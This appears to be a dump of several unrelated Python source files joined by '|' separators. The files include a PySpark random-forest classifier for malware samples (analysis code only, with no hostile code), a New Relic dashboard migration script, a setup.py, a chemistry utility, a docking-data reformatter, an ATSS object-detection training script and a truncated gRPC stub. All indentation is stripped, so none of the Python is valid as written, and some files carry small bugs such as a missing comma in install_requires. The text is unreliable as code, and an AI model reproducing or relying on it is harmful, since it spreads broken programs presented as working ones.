return file_rdd.map(lambda x: (x[0],BYTES_PATTERN.findall(x[1]))).flatMapValues(lambda x:x)
elif feature_name=='segment':
return file_rdd.map(lambda x: (x[0],SEGMENT_PATTERN.findall(x[1]))).flatMapValues(lambda x:x)
elif feature_name=='opcode':
return file_rdd.map(lambda x: (x[0],OPCODE_PATTERN.findall(x[1]))).flatMapValues(lambda x:x).map(lambda x: (x[0],x[1][3]))
else:
return "Invalid input!"
def Ngram(feature_rdd,start,end):
'''
--input-------------------------------------
feature_rdd : [(<hash1>,<feature1>), (<hash1>,<feature2>), ..., (<hashN>,<featureK>)]
--output------------------------------------
Ngram_count : [((<hash>,<ngram feature>),cnt), ...]
'''
Ngram_list = []
for i in range(start,end):
Ngram_list.append(Ngram_feature(i, feature_rdd))
Ngram_count = sc.union(Ngram_list)
return Ngram_count
def Ngram_feature(N, feature_rdd):
'''
Extract and count N-gram. Leave top 1000 n-gram features if it's 2-gram or more.
Input:
feature_rdd : [(<hash1>,<feature1>), (<hash1>,<feature2>), ..., (<hashN>,<featureK>)]
Output:
freq_ngram_count_rdd : [((<hash>,<ngram feature>),cnt), ...]
'''
feature_rdd = feature_rdd.groupByKey().map(lambda x: (x[0],list(x[1])))
df = spark.createDataFrame(feature_rdd).toDF("file_names", "features")
ngram = NGram(n=N, inputCol="features", outputCol="ngrams")
ngramDataFrame = ngram.transform(df)
ngram_rdd = ngramDataFrame.rdd.map(tuple).map(lambda x: (x[0],x[2])).flatMapValues(lambda x: x)
ngram_count_rdd = ngram_rdd.map(lambda x: ((x),1)).reduceByKey(add)
freq_ngram_count_rdd = ngram_count_rdd
if not N == 1:
#[(<ngram feature>,cnt), ...]
topN_ngram_count_rdd = freq_ngram_count_rdd.map(lambda x: (x[0][1],x[1])).reduceByKey(add)
#[((<ngram feature>,cnt),index), ...]
topN_ngram_count_rdd = topN_ngram_count_rdd.sortBy(lambda x: x[1],ascending=False).zipWithIndex()
length = topN_ngram_count_rdd.count()
#top [(<ngram feature>,cntSum), ...]
topN_ngram_count_rdd = topN_ngram_count_rdd.filter(lambda x: x[1]<1000).map(lambda x: x[0])
#freq [(<ngram feature>,(<hash>,cnt)), ...]
freq_ngram_count_rdd = freq_ngram_count_rdd.map(lambda x: (x[0][1],(x[0][0],x[1])))
#[(<ngram feature>,(cntSum,(<hash>,cnt))), ...]
freq_ngram_count_rdd = topN_ngram_count_rdd.join(freq_ngram_count_rdd).map(lambda x: ((x[1][1][0],x[0]),x[1][1][1]))
return freq_ngram_count_rdd
def build_full_feature_list(features,length):
'''
Build a full feature list using numpy array (very fast)
'''
full_feature_narray = np.zeros(length,)
full_feature_narray[features[:,0]] = features[:,1]
return full_feature_narray
def test_RF_structure(all_test_features_count,distinct_features_rdd):
'''
Build the data structure used for testing data
Leave only features that already appear in training
Input:
all_test_features_count : [(<ngram feature>,(<hash>,cnt)), ...]
distinct_features_rdd : [(<ngram feature>,index), ...]
Output:
all_test_features_count : [(<ngram feature>,((<hash>,cnt),index)), ...]
'''
#--[(<ngram feature>,(<hash>,cnt)), ...]-----------------------------------------
all_test_features_count = all_test_features_count.map(lambda x: (x[0][1],(x[0][0],x[1])))
#--[(<ngram feature>,(index,(<hash>,cnt))), ...]-----------------------------------------
all_test_features_count = all_test_features_count.leftOuterJoin(distinct_features_rdd).filter(lambda x: not x[1][1]==None)
#--[(<hash>,(index,cnt)), ...]-------------------------------------------------------
full_features_index_count_rdd = all_test_features_count.map(lambda x: (x[1][0][0],(x[1][1],x[1][0][1]))).groupByKey().map(lambda x: (x[0],np.asarray(list(x[1]),dtype=int)))
length = distinct_features_rdd.count()
#--[(<hash>,[cnt1, cnt2, ...]]), ...]-------------------------------------------------------
full_test_feature_count_rdd = full_features_index_count_rdd.map(lambda x: (x[0],Vectors.dense(list(build_full_feature_list(x[1],length)))))
test_rdd = full_test_feature_count_rdd.map(lambda x: len(list(x[1])))
return full_test_feature_count_rdd
def RF_structure(all_features_count):
'''
Build the data structure used for training data
Input:
all_features_count : [((<hash>,<ngram feature>),cnt), ...]
Output:
full_feature_count_rdd : [((<hash1>,<label1>),[cnt1,cnt2,...]), ...]
'''
#--[(<ngram feature>,index), ...]------------------------------------------------
distinct_features_rdd = all_features_count.map(lambda x: x[0][1]).distinct().zipWithIndex()
length = distinct_features_rdd.count()
#--[(<ngram feature>,(<hash>,cnt)), ...]-----------------------------------------
all_features_count_rdd = all_features_count.map(lambda x: (x[0][1],(x[0][0],x[1])))
#--[(<hash>,(index,cnt)), ...]---------------------------------------------------
feature_id_count_rdd = distinct_features_rdd.join(all_features_count_rdd).map(lambda x: (x[1][1][0],(x[1][0],x[1][1][1])))
#--[(<hash>,[(index,cnt), ...]), ...]--------------------------------------------
feature_id_count_rdd = feature_id_count_rdd.groupByKey().map(lambda x: (x[0],np.asarray(list(x[1]),dtype=int)))
#--[(<hash>,DenseVector([cnt1,cnt2,...])), ...]-----------------------------------------------
full_feature_count_rdd = feature_id_count_rdd.map(lambda x: (x[0], Vectors.dense(list(build_full_feature_list(x[1],length)))))
test_rdd = full_feature_count_rdd.map(lambda x: len(list(x[1])))
return full_feature_count_rdd, distinct_features_rdd
def create_indexed_df(full_train_feature_rdd):
'''
input: [(<hash1>,label1,[cnt1,cnt2,...]), ...]
'''
df = spark.createDataFrame(full_train_feature_rdd).toDF("name","label", "features")
stringIndexer = StringIndexer(inputCol="name", outputCol="indexed")
si_model = stringIndexer.fit(df)
indexed_df = si_model.transform(df)
indexed_df.show()
return indexed_df
def RF(indexed_df):
RF_model = RandomForestClassifier(numTrees=50, maxDepth=25, labelCol="label")
td_new = change_column_datatype(indexed_df,"label",DoubleType)
model = RF_model.fit(td_new)
return model
def change_column_datatype(td,col_name,datatype):
td_new = td.withColumn(col_name, td[col_name].cast(datatype()))
return td_new
if __name__ == "__main__":
sc = SparkContext()
spark = SparkSession.builder.master("yarn").appName("Word Count").config("spark.some.config.option", "some-value").getOrCreate()
parser = argparse.ArgumentParser(description = "CSCI 8360 Project 2",
epilog = "answer key", add_help = "How to use",
prog = "python p2.py [asm_folder_path] [bytes_folder_path] [training_file] [training_label] [testing_file] [output_path]")
# Required args
parser.add_argument("paths", nargs=6,
help = "Paths of asm_folder, bytes_folder, training_data, training_labels, and testing-data.")
# Optional args
parser.add_argument("-t", "--testing_label", default = None, help = "path of testing label")
args = vars(parser.parse_args())
data_asm_folder_path = args['paths'][0]
data_bytes_folder_path = args['paths'][1]
training_file_names = args['paths'][2]
training_label = args['paths'][3]
test_file_names = args['paths'][4]
output_path = args['paths'][5]
test_label = args['testing_label']
#---Read in the data names and labels------------------------------------------
train_filenames_rdd = sc.textFile(training_file_names)
train_filenames_list = train_filenames_rdd.collect()
train_labels_rdd = sc.textFile(training_label)
test_filenames_rdd =sc.textFile(test_file_names)
test_filenames_list = test_filenames_rdd.collect()
test_labels_rdd = sc.textFile(test_label)
#---Read in actual bytes/asm files---------------------------------------------
#---format: [(<hash1>,<content1>),(<hash2>,<content2>), ...]-------------------
train_asm_file_rdd = preprocess(data_asm_folder_path, train_filenames_list,".asm")
# train_byte_file_rdd = preprocess(data_bytes_folder_path, train_filenames_list,".bytes")
test_asm_file_rdd = preprocess(data_asm_folder_path, test_filenames_list,".asm")
# test_byte_file_rdd = preprocess(data_bytes_folder_path, test_filenames_list,".bytes")
#---Create a label+filename pair-------------------------------------------------------
#---output: [(<hash1>,<label1>), (<hash2>,<label2>), ...]------------------------------
filename_label_pair_rdd = get_filename_label_pair(train_filenames_rdd, train_labels_rdd)
#---Extract the feaures----------------------------------------------------------------
#---output: [(<hash1>,<feature1>), (<hash1>,<feature2>), ..., (<hashN>,<featureK>)]----
# train_bytes_rdd = extract_features(train_byte_file_rdd, 'bytes')
train_segment_rdd = extract_features(train_asm_file_rdd, 'segment')
# train_opcode_rdd = extract_features(train_asm_file_rdd, 'opcode')
# test_bytes_rdd = extract_features(test_byte_file_rdd, 'bytes')
test_segment_rdd = extract_features(test_asm_file_rdd, 'segment')
# test_opcode_rdd = extract_features(test_asm_file_rdd, 'opcode')
#---Find N gram of the features------------------------------------------------
#---output: [((<hash>,<ngram feature>),cnt), ...]------------------------------
# train_Ngram_bytes_rdd = Ngram(train_bytes_rdd,1,2)
train_Segment_rdd = Ngram(train_segment_rdd,1,2)
# train_Ngram_opcode_rdd = Ngram(train_opcode_rdd,4,5)
# test_Ngram_bytes_rdd = Ngram(test_bytes_rdd,1,2)
test_Segment_rdd = Ngram(test_segment_rdd,1,2)
# test_Ngram_opcode_rdd = Ngram(test_opcode_rdd,4,5)
all_train_features_count = train_Segment_rdd#.union(train_Ngram_bytes_rdd)
all_test_features_count = test_Segment_rdd#.union(test_Ngram_bytes_rdd)
#---Pre Random Forest(Prepare for the data structure)----------------------------
#---[(<hash1>,[cnt1,cnt2,...]), ...]---------------------------------------------
full_train_feature_rdd, distinct_features_rdd = RF_structure(all_train_features_count)
full_test_feature_rdd = test_RF_structure(all_test_features_count,distinct_features_rdd)
#---Link label in----------------------------------------------------------------
#---output: [(<hash1>,label1,[cnt1,cnt2,...]), ...]------------------------------
full_train_feature_rdd = filename_label_pair_rdd.join(full_train_feature_rdd).map(lambda x: (x[0],x[1][0],x[1][1]))
#---Create Dataframe for training------------------------------------------------
feature_label_full_df = create_indexed_df(full_train_feature_rdd)
#---Training Random Forest Model-------------------------------------------------
training_model = RF(feature_label_full_df)
#---Create dataframe for testing-------------------------------------------------
test_feature_df = spark.createDataFrame(full_test_feature_rdd).toDF("name","features")
stringIndexer = StringIndexer(inputCol="name", outputCol="indexed")
test_model = stringIndexer.fit(test_feature_df)
test_feature_indexed_df = test_model.transform(test_feature_df)
#---Prediction--------------------------------------------------------------------
result = training_model.transform(test_feature_indexed_df)
result = result.withColumn("prediction", result["prediction"].cast("int"))
result.show()
result = result.select("prediction","name")
#---Write to Bucket---------------------------------------------------------------
rdd = result.rdd.map(tuple).map(lambda x: (x[1],x[0]))
test_file_names = test_filenames_rdd.zipWithIndex()
predict_rdd = rdd.join(test_file_names).sortBy(lambda x: x[1][1]).map(lambda x:x[1][0])
pre = spark.createDataFrame(predict_rdd.map(lambda x: ('prediction',x))).toDF("name","prediction")
pre_repa = pre.repartition(1)
tosavedf = pre_repa.select("prediction").write.csv(test_label)
#---Print Result if testing labels are given-------------------------------------
if not test_label == None:
predict = predict_rdd.collect()
test_rdd_label = test_labels_rdd.collect()
score = 0.0
for i in range(len(predict)):
predict[i] = str(predict[i])
if predict[i] == test_rdd_label[i]:
score +=1.0
accuracy = score*100/len(predict)
print("Accuracy: "+str(accuracy)+"%")
|
import os
import argparse
import library.utils as utils
import library.migrationlogger as m_logger
import library.localstore as store
import library.clients.entityclient as ec
import library.status.dashboard_status as ds
log = m_logger.get_logger(os.path.basename(__file__))
def print_args(args):
#log.info("Using fromFile : " + args.fromFile[0])
log.info("Using sourceAccount : " + str(args.sourceAccount[0]))
#log.info("Using sourceApiKey : " + len(src_api_key[:-4])*"*"+src_api_key[-4:])
def configure_parser():
parser = argparse.ArgumentParser(description='Migrate Dashboards')
parser.add_argument('--sourceDashboard', nargs=1, type=str, required=True,
help='Path to file with dashboard names(newline separated)')
parser.add_argument('--sourceAccount', nargs=1, type=int, required=True, help='Source accountId')
parser.add_argument('--sourceApiKey', nargs=1, type=str, required=True, help='Source account API Key or \
set environment variable ENV_SOURCE_API_KEY')
parser.add_argument('--targetStore', nargs=1, type=str, required=True, help='Target Store')
parser.add_argument('--sourceStore', nargs=1, type=str, required=True, help='Store name in Source')
return parser
def dump_dashboard(per_api_key, name, acct_id, *, get_widgets=True, region='us'):
result = ec.get_dashboard_definition(per_api_key, name, acct_id, region)
if not result:
return None
if not get_widgets:
return result
widgets_result = ec.get_dashboard_widgets(per_api_key, result['guid'], region)
if not widgets_result['entityFound']:
return None
return widgets_result['entity']
def update_store(src_store, tgt_store, entity):
if 'guid' in entity:
del entity['guid']
if 'name' in entity:
entity['name'] = entity['name'].replace(src_store,tgt_store)
if not 'pages' in entity:
return
for page in entity['pages']:
if not 'widgets' in page:
continue
for widget in page['widgets']:
if not 'rawConfiguration' in widget:
continue
if not 'nrqlQueries' in widget['rawConfiguration']:
continue
for query in widget['rawConfiguration']['nrqlQueries']:
if ('query' in query and query['query'].find(src_store) != -1):
query['query'] = query['query'].replace(src_store,tgt_store)
def main():
parser = configure_parser()
args = parser.parse_args()
src_api_key = utils.ensure_source_api_key(args)
src_dashboard = args.sourceDashboard[0]
src_store = args.sourceStore[0]
nrAccount = args.sourceAccount[0]
tgt_store = args.targetStore[0]
#tgt_api_key = utils.ensure_target_api_key(args)
#src_region = utils.ensure_source_region(args)
print_args(args)
dbJson = dump_dashboard(src_api_key, src_dashboard, nrAccount)
update_store(src_store,tgt_store, dbJson)
log.info('db: ')
log.info(dbJson)
result = ec.post_dashboard(src_api_key, dbJson, nrAccount, 'US')
log.info(result)
if __name__ == '__main__':
main()
|
import setuptools
from pyncli import __version__ as pyncli_version
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="pyncli",
version=pyncli_version,
author="Evgeniy Semenov",
author_email="[email protected]",
description="Command Line Interface for NextCloud GroupFolder app",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/edelwi/pyncli",
packages=setuptools.find_packages(),
entry_points={
'console_scripts':
['pnc = pyncli.nc:main',
'pnc_test = pyncli.test.runall:main',
]
},
install_requires=[
'ldap3>=2.5.1',
'requests>=2.18.4',
'lxml>=4.2.5',
'python-dotenv>=0.10.0'
'certifi'
],
classifiers=[
"Development Status :: 1 - Planning",
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
) |
"""
Function Group Utilities
========================
"""
from __future__ import annotations
from collections import abc
from ...atom import Atom
__all__ = (
'get_atom_map',
)
def get_atom_map(
id_map: dict[int, int],
atoms: abc.Iterable[Atom],
) -> dict[int, Atom]:
"""
Get an atom map from an `id_map`.
The atom map maps the id of an existing atom to the atom it
should be replaced by. The atom will have the same type (i.e.
element) but might have a different id.
Parameters:
id_map:
Maps the id of an atom to its new id.
atoms:
The atoms which should have their ids updated as
specified by the `id_map`.
Returns:
A mapping from the id of an atom to to the atom it should be
replaced by.
"""
atom_map = {}
for atom in atoms:
atom_id = atom.get_id()
if atom_id not in atom_map:
new_id = id_map.get(atom_id, atom_id)
atom_map[atom_id] = atom.with_id(new_id)
return atom_map
|
import pandas as pd
import sys
import os
import sklearn.model_selection
# THis helper script was written to reformat the covid protein receptor
# docking dataframes produced by A. Partin into input files for the
# smiles_regress_transformer.py code that Rick produced.
data_path = sys.argv[1]
base = os.path.basename(data_path)
# classification is in cls column, regression is in reg
outfile = '{}.xform-smiles.csv.reg'.format(base)
df = pd.read_parquet(data_path)
df2=pd.DataFrame()
# cls or reg for ml.RDRP_7BV2_A_3_F.Orderable_zinc_db_enaHLL.sorted.4col.dd.parquet
df2[['type','smiles']]=df[['reg','SMILES']]
x_train, x_val = sklearn.model_selection.train_test_split(df2, test_size=.2, train_size=.8)
x_train.to_csv('{}.train'.format(outfile), index=None)
x_val.to_csv('{}.val'.format(outfile), index=None)
df2.to_csv('{}'.format(outfile),index=None)
|
import torch
from torch import nn, optim
from torch.utils.data import DataLoader, sampler
from tqdm import tqdm
from argument import get_args
from backbone import vovnet39, vovnet57, resnet50, resnet101
from utils.dataset import COCODataset, collate_fn
from model import ATSS,Efficientnet_Bifpn_ATSS
from utils import transform
from utils.lrscheduler import GluonLRScheduler,iter_per_epoch_cal,set_schduler_with_wormup
from evaluate import evaluate
from distributed import (
get_rank,
synchronize,
reduce_loss_dict,
DistributedSampler,
all_gather,
get_world_size,
convert_sync_bn,
simple_group_split
)
from utils.ema import EMA
import os,cv2
from tensorboardX import SummaryWriter
import numpy as np
def accumulate_predictions(predictions):
all_predictions = all_gather(predictions)
if get_rank() != 0:
return
predictions = {}
for p in all_predictions:
predictions.update(p)
ids = list(sorted(predictions.keys()))
if len(ids) != ids[-1] + 1:
print('Evaluation results is not contiguous')
predictions = [predictions[i] for i in ids]
return predictions
@torch.no_grad()
def valid_loss(args, epoch, loader, dataset, model, device, logger=None):
loss_regress_list = []
loss_cls_list = []
loss_centerness_list = []
if args.distributed:
model = model.module
torch.cuda.empty_cache()
model.eval()
if get_rank() == 0:
pbar = tqdm(enumerate(loader), total=len(loader), dynamic_ncols=True)
else:
pbar = enumerate(loader)
preds = {}
for idx, (images, targets, ids) in pbar:
model.zero_grad()
images = images.to(device)
targets = [target.to(device) for target in targets]
pred,loss_dict = model(images,targets,args.val_with_loss)
loss_reduced = reduce_loss_dict(loss_dict)
loss_cls = loss_reduced['loss_cls'].mean().item()
loss_box = loss_reduced['loss_reg'].mean().item()
loss_center = loss_reduced['loss_centerness'].mean().item()
loss_regress_list.append(float(loss_box))
loss_cls_list.append(float(loss_cls))
loss_centerness_list.append(float(loss_center))
if logger:
log_group_name = 'validation'
logger.add_scalar(log_group_name+'/class_loss',np.mean(loss_cls_list),epoch)
logger.add_scalar(log_group_name+'/regression_loss',np.mean(loss_regress_list),epoch)
logger.add_scalar(log_group_name+'/centerness_loss',np.mean(loss_centerness_list),epoch)
loss_all = np.mean(loss_cls_list) + np.mean(loss_regress_list) + np.mean(loss_centerness_list)
logger.add_scalar(log_group_name+'/loss_epoch_all',loss_all,epoch)
return loss_all
@torch.no_grad()
def valid(args, epoch, loader, dataset, model, device, logger=None,ema=None):
if args.distributed:
model = model.module
torch.cuda.empty_cache()
model.eval()
if get_rank() == 0:
pbar = tqdm(enumerate(loader), total=len(loader), dynamic_ncols=True)
else:
pbar = enumerate(loader)
preds = {}
for idx, (images, targets, ids) in pbar:
model.zero_grad()
images = images.to(device)
if ema: ema.apply_shadow()
pred, _ = model(images)
if ema: ema.restore()
pred = [p.to('cpu') for p in pred]
preds.update({id: p for id, p in zip(ids, pred)})
preds = accumulate_predictions(preds)
if get_rank() != 0:
return
evl_res = evaluate(dataset, preds)
# writing log to tensorboard
if logger:
log_group_name = "validation"
box_result = evl_res['bbox']
logger.add_scalar(log_group_name + '/AP', box_result['AP'], epoch)
logger.add_scalar(log_group_name + '/AP50', box_result['AP50'], epoch)
logger.add_scalar(log_group_name + '/AP75', box_result['AP75'], epoch)
logger.add_scalar(log_group_name + '/APl', box_result['APl'], epoch)
logger.add_scalar(log_group_name + '/APm', box_result['APm'], epoch)
logger.add_scalar(log_group_name + '/APs', box_result['APs'], epoch)
return preds
def train(args, epoch, loader, model, optimizer, device, scheduler=None,logger=None,ema=None):
epoch_loss = []
model.train()
scheduler, warmup_scheduler = scheduler[0], scheduler[1]
if get_rank() == 0:
pbar = tqdm(enumerate(loader), total=len(loader), dynamic_ncols=True)
else:
pbar = enumerate(loader)
for idx, (images, targets, _) in pbar:
model.zero_grad()
images = images.to(device)
targets = [target.to(device) for target in targets]
_, loss_dict = model(images, targets=targets)
loss_cls = loss_dict['loss_cls'].mean()
loss_box = loss_dict['loss_reg'].mean()
loss_center = loss_dict['loss_centerness'].mean()
loss = loss_cls + loss_box + loss_center
loss.backward()
nn.utils.clip_grad_norm_(model.parameters(), 10)
optimizer.step()
# ema update
ema.update()
# for iter scheduler
if idx<warmup_scheduler.niters and epoch<args.warmup_epoch:
warmup_scheduler.step()
else:
scheduler.step()
loss_reduced = reduce_loss_dict(loss_dict)
loss_cls = loss_reduced['loss_cls'].mean().item()
loss_box = loss_reduced['loss_reg'].mean().item()
loss_center = loss_reduced['loss_centerness'].mean().item()
if get_rank() == 0:
pbar.set_description(
(
f'epoch: {epoch + 1}; cls: {loss_cls:.4f}; '
f'box: {loss_box:.4f}; center: {loss_center:.4f}'
)
)
# writing log to tensorboard
if logger and idx % 50 == 0:
lr_rate = optimizer.param_groups[0]['lr']
totalStep = (epoch * len(loader) + idx) * args.batch * args.n_gpu
logger.add_scalar('training/loss_cls', loss_cls, totalStep)
logger.add_scalar('training/loss_box', loss_box, totalStep)
logger.add_scalar('training/loss_center', loss_center, totalStep)
logger.add_scalar('training/loss_all', (loss_cls + loss_box + loss_center), totalStep)
logger.add_scalar('learning_rate',lr_rate,totalStep)
epoch_loss.append(float(loss_cls+loss_box+loss_center))
if logger:
logger.add_scalar('training/loss_epoch_all',np.mean(epoch_loss),epoch)
return epoch_loss
def data_sampler(dataset, shuffle, distributed):
if distributed:
return DistributedSampler(dataset, shuffle=shuffle)
if shuffle:
return sampler.RandomSampler(dataset)
else:
return sampler.SequentialSampler(dataset)
def save_checkpoint(model,args,optimizer,epoch):
if get_rank() == 0:
torch.save(
{'model': model.module.state_dict(), 'optim': optimizer.state_dict()},
args.working_dir + f'/epoch-{epoch + 1}.pt',
)
if __name__ == '__main__':
cv2.setNumThreads(0)
cv2.ocl.setUseOpenCL(False)
args = get_args()
# Create working directory for saving intermediate results
working_dir = args.working_dir
if not os.path.exists(working_dir):
os.makedirs(working_dir)
logger = SummaryWriter(working_dir)
n_gpu = int(os.environ['WORLD_SIZE']) if 'WORLD_SIZE' in os.environ else 1
args.n_gpu = n_gpu
args.distributed = n_gpu > 1
if args.distributed:
torch.cuda.set_device(args.local_rank)
torch.distributed.init_process_group(backend='gloo', init_method='env://')
#torch.distributed.init_process_group(backend='nccl', init_method='env://')
synchronize()
device = 'cuda'
# train_trans = transform.Compose(
# [
# transform.RandomResize(args.train_min_size_range, args.train_max_size),
# transform.RandomHorizontalFlip(0.5),
# transform.ToTensor(),
# transform.Normalize(args.pixel_mean, args.pixel_std)
# ]
# )
# for efficientdet resize the image
train_trans = transform.Compose(
[
transform.RandomHorizontalFlip(0.5),
transform.Resize_For_Efficientnet(compund_coef=args.backbone_coef),
transform.ToTensor(),
transform.Normalize(args.pixel_mean, args.pixel_std),
]
)
valid_trans = transform.Compose(
[
transform.Resize_For_Efficientnet(compund_coef=args.backbone_coef),
transform.ToTensor(),
transform.Normalize(args.pixel_mean, args.pixel_std)
]
)
train_set = COCODataset(args.path, 'train', train_trans)
train_loader = DataLoader(
train_set,
batch_size=args.batch,
sampler=data_sampler(train_set, shuffle=True, distributed=args.distributed),
num_workers=args.num_workers,
collate_fn=collate_fn(args),
)
valid_set = COCODataset(args.path, 'val', valid_trans)
valid_loader = DataLoader(
valid_set,
batch_size=args.batch,
sampler=data_sampler(valid_set, shuffle=False, distributed=args.distributed),
num_workers=args.num_workers,
collate_fn=collate_fn(args),
)
if args.val_with_loss:
valid_loss_set = COCODataset(args.path, 'val_loss', valid_trans)
val_loss_loader = DataLoader(
valid_loss_set,
batch_size=args.batch,
sampler=data_sampler(valid_loss_set, shuffle=False, distributed=args.distributed),
num_workers=args.num_workers,
collate_fn=collate_fn(args),
)
# backbone = vovnet39(pretrained=True)
# backbone = vovnet57(pretrained=True)
# backbone = resnet18(pretrained=True)
# backbone = resnet50(pretrained=True)
# backbone = resnet101(pretrained=True)
# model = ATSS(args, backbone)
if args.backbone_type == 'Efficientdet':
if args.load_pretrained_weight:
model = Efficientnet_Bifpn_ATSS(args,compound_coef=args.backbone_coef,load_backboe_weight=True,weight_path=args.weight_path)
else:
model = Efficientnet_Bifpn_ATSS(args,compound_coef=args.backbone_coef,load_backboe_weight=False)
elif args.backbone_type == 'ResNet':
if args.backbone_coef == 18:
backbone = resnet50(pretrained=True)
elif args.backbone_coef == 50:
backbone = resnet50(pretrained=True)
elif args.backbone_coef == 101:
backbone = resnet101(pretrained=True)
else:
raise NotImplementedError(f'Not supported backbone name :{args.backbone_name}')
model = ATSS(args, backbone)
elif args.backbone_type == 'VovNet':
if args.backbone_coef == 39:
backbone = vovnet39(pretrained=True)
elif args.backbone_coef == 57:
backbone = vovnet57(pretrained=True)
else:
raise NotImplementedError(f'Not supported backbone name :{args.backbone_name}')
model = ATSS(args, backbone)
else:
raise NotImplementedError(f'Not supported backbone name :{args.backbone_name}')
model = model.to(device)
if args.load_checkpoint:
model.load_state_dict(torch.load(args.weight_path,map_location='cpu')['model'])
print(f'[INFO] load checkpoint weight successfully!')
# freeze backbone and FPN if train head_only
if args.head_only:
def freeze_backbone(m):
classname = m.__class__.__name__
for ntl in ['EfficientNet', 'BiFPN','FPN','FPNTopP6P7','ResNet']:
if ntl == classname:
for param in m.parameters():
param.requires_grad = False
model.apply(freeze_backbone)
print('[Info] freezed backbone')
if not args.head_only and args.finetune:
# if not freeze the backbone, then finetune the backbone,
optimizer = optim.SGD(
model.backbone.backbone_net.parameters(),
lr = 0,
momentum = 0.9,
weight_decay = 0.0001,
nesterov = True,
)
optimizer.add_param_group({'params':list(model.backbone.bifpn.parameters()),'lr':0,
'momentum': 0.9, 'weight_decay': 0.0001, 'nesterov': True})
optimizer.add_param_group({'params':list(model.head.parameters()),'lr':0,'momentum':0.9,'weight_decay':0.0001,
'nesterov':True})
print(f'[INFO] efficientnet use the lr :{args.lr*args.lr_gamma_Efficientnet} to finetune,'
f' bifpn use the lr:{args.lr*args.lr_gamma_BiFPN} to finetune')
else:
optimizer = optim.SGD(
model.parameters(),
lr=args.lr,
momentum=0.9,
weight_decay=0.0001,
nesterov=True,
)
if args.load_checkpoint:
optimizer.load_state_dict(torch.load(args.weight_path)['optim'])
last_epoch = int(os.path.basename(args.weight_path).split('.')[0][6:])
print(f'[INFO] load optimizer state:{last_epoch}')
last_epoch = last_epoch - 1
else:
last_epoch = -1
# scheduler = optim.lr_scheduler.MultiStepLR(
# optimizer, milestones=args.lr_steps, gamma=args.lr_gamma,last_epoch=last_epoch
# )
#scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer,factor=args.lr_gamma, patience=3,verbose=True)
iter_per_epoch = iter_per_epoch_cal(args, train_set)
scheduler = GluonLRScheduler(optimizer,mode='step',nepochs=(args.epoch-args.warmup_epoch),
iters_per_epoch=iter_per_epoch,step_epoch=[9,11])
warmup_scheduler, schdeduler = set_schduler_with_wormup(args,iter_per_epoch,optimizer,scheduler)
ema = EMA(model,decay=0.999,enable=args.EMA)
if args.distributed:
# if args.batch <= 4:
# #if the batchsize for a single GPU <= 4, then use the sync_batchnorm
# world_size = get_world_size()
# rank = get_rank()
# sync_groups = world_size // args.n_gpu
# process_group = simple_group_split(world_size, rank, sync_groups)
# convert_sync_bn(model, process_group)
model = nn.parallel.DistributedDataParallel(
model,
device_ids=[args.local_rank],
output_device=args.local_rank,
broadcast_buffers=False,
)
train_loader = DataLoader(
train_set,
batch_size=args.batch,
sampler=data_sampler(train_set, shuffle=True, distributed=args.distributed),
num_workers=args.num_workers,
collate_fn=collate_fn(args),
)
valid_loader = DataLoader(
valid_set,
batch_size=args.batch,
sampler=data_sampler(valid_set, shuffle=False, distributed=args.distributed),
num_workers=args.num_workers,
collate_fn=collate_fn(args),
)
print(f'[INFO] Start training: learning rate:{args.lr}, total batchsize:{args.batch*get_world_size()}, '
f'working dir:{args.working_dir}')
logger.add_text('exp_info',f'learning_rate:{args.lr},total_batchsize:{args.batch*get_world_size()},'
f'backbone_name:{args.backbone_name},freeze_backbone:{args.head_only},'
f'finetune_backbone:{args.finetune}')
if args.finetune:
logger.add_text('exp_info',f'efficientnet lr gamma:{args.lr_gamma_Efficientnet},'
f'BiFPN lr gamma:{args.lr_gamma_BiFPN}')
val_best_loss = 1e5
val_best_epoch = 0
for epoch in range(args.epoch-(last_epoch+1)):
epoch += (last_epoch + 1)
epoch_loss = train(args, epoch, train_loader, model, optimizer, device, [scheduler,warmup_scheduler],
logger=logger,ema=ema)
save_checkpoint(model,args,optimizer,epoch)
valid(args, epoch, valid_loader, valid_set, model, device, logger=logger,ema=None)
if args.val_with_loss and epoch > 1 and epoch % 2 ==0:
val_epoch_loss = valid_loss(args,epoch,val_loss_loader,valid_loss_set,model,device,logger=logger)
if args.early_stopping :
if val_epoch_loss < val_best_loss:
val_best_loss = val_epoch_loss
val_best_epoch = epoch
if epoch - val_best_epoch > args.es_patience:
print(f'[INFO]Stop training at epoch {epoch}. The lowest validation loss achieved is {val_best_loss}')
save_checkpoint(model,args,optimizer,epoch)
# scheduler.step(np.mean(epoch_loss)) |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
from orc8r.protos import streamer_pb2 as orc8r_dot_protos_dot_streamer__pb2
class StreamerStub(object):
"""Streamer provides a pipeline for the cloud to push the updates to the
gateway as and when the update happens.
The Streamer interface defines the semantics and consistency guarantees
between the cloud and the gateway while abstracting the details of how
it's implemented in the cloud and what the gateway does with the updates.
- The gateways call the GetUpdates() streaming API with a StreamRequest
indicating the stream name and the offset to continue streaming from.
- The cloud sends a stream of DataUpdateBatch containing a batch of updates.
- If resync is true, then the gateway can cleanup all its data and add
all the keys (the batch is guaranteed to contain only unique keys).
- If resync is false, then the gateway can update the keys, or add new
ones if the key is not already present.
- Key deletions are not yet supported (#15109350)
"""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.GetUpdates = channel.unary_stream(
'/magma.orc8r.Streamer/GetUpdates',
request_serializer=orc8r_dot_protos_dot_streamer__pb2.StreamRequest.SerializeToString,
response_deserializer=orc8r_dot_protos_dot_streamer__pb2.DataUpdateBatch.FromString,
)
class StreamerServicer(object):
"""Streamer provides a pipeline for the cloud to push the updates to the
gateway as and when the update happens.
The Streamer interface defines the semantics and consistency guarantees
between the cloud and the gateway while abstracting the details of how
it's implemented in the cloud and what the gateway does with the updates.
- The gateways call the GetUpdates() streaming API with a StreamRequest
indicating the stream name and the offset to continue streaming from.
- The cloud sends a stream of DataUpdateBatch containing a batch of updates.
- If resync is true, then the gateway can cleanup all its data and add
all the keys (the batch is guaranteed to contain only unique keys).
- If resync is false, then the gateway can update the keys, or add new
ones if the key is not already present.
- Key deletions are not yet supported (#15109350)
"""
def GetUpdates(self, request, context):
"""GetUpdates streams config updates from the cloud.
